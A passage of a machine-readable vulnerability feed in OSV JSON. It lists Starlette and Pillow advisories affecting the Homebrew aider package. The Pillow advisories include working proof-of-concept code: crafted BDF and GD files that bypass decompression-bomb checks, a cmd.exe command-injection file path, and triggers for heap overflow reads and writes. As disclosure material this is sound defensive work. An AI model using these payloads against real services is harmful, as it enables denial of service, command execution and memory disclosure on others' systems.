`400 Field exceeded maximum size`.\n\n### Impact\nThis Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call `request.form()` on `application/x-www-form-urlencoded` requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.\n\n### Mitigation\nUpgrade to a patched version, which forwards `max_fields` and `max_part_size` to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match `multipart/form-data` (`max_fields=1000`, `max_part_size=1MB`) and can be customized via `request.form(max_fields=..., max_part_size=...)`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-82w8-qh3p-5jfq"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-55379","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:19Z","upstream":["GHSA-45hq-cxwh-f6vc","BIT-pillow-2026-55379","CVE-2026-55379","PYSEC-2026-2255"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading","details":"### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n    im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n    # TRIGGERED when BITMAP section is empty (zero hex lines)\n    im = Image.new(\"1\", (width, height))   # ← NO _decompression_bomb_check()!\n    # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size  : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\"    Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size  : 270 bytes\n[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n    Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):**  \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None  \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55379"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-55380","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:30Z","upstream":["GHSA-phj9-mv4w-65pm","BIT-pillow-2026-55380","CVE-2026-55380","PYSEC-2026-2256"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`","details":"## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50–61):**\n\n```python\ndef _open(self) -> None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here ←\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() → load_prepare() → Image.core.new(\"P\", (65535, 65535))\n# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24× above DecompressionBombError threshold** |\n| Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # ← present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\">H\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\">H\", 65535)         # max width\nh            = struct.pack(\">H\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = struct.pack(\">I\", 0xFFFFFFFF)    # > 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called — 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() → Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called — 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0× error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No — any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55380"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-55798","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:19Z","upstream":["GHSA-4x4j-2g7c-83w6","BIT-pillow-2026-55798","CVE-2026-55798","PYSEC-2026-2257"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","details":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `&` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -> str:\n        return (\n            f'start \"Pillow\" /WAIT \"{file}\" '    # ← f-string, no escaping\n            \"&& ping -n 4 127.0.0.1 >NUL \"\n            f'&& del /f \"{file}\"'                # ← same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -> int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # ← shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # ← Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -> str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&\"\n        return command                           # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" & echo PWNED & echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" & echo PWNED & echo \"\" && ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   → fails (file not found)\n# ├─ & echo PWNED                           → INJECTED COMMAND\n# └─ & echo \"\"  && ping ...                → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f'echo REAL_INJECTED > \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" & {payload} & echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59197","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:35Z","upstream":["GHSA-xj96-63gp-2gmr","BIT-pillow-2026-59197","CVE-2026-59197","PYSEC-2026-3454"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`","details":"### Summary\n\nPillow's public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin < 0 && ymargin < 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x < xmargin; x++) {\n    imOut->image[yout][x] = imIn->image[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size & 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin < 0 || ymargin < 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin > (INT_MAX - imIn->xsize) / 2 ||\n    ymargin > (INT_MAX - imIn->ysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9695"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59198","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:26Z","upstream":["GHSA-fj7v-r99m-22gq","BIT-pillow-2026-59198","CVE-2026-59198","PYSEC-2026-3494"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","details":"### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk:     65535 bytes\nmaximum OOB window per row:   57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate->bytes = (state->bits * state->xsize + 7) / 8;\nstate->buffer = (UINT8 *)calloc(1, state->bytes);\n```\n\nFor mode `\"1\"`, `state->bits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state->bits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n    buf += x * bytesPerPixel;\n    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom PIL import Image\n\nout = io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload 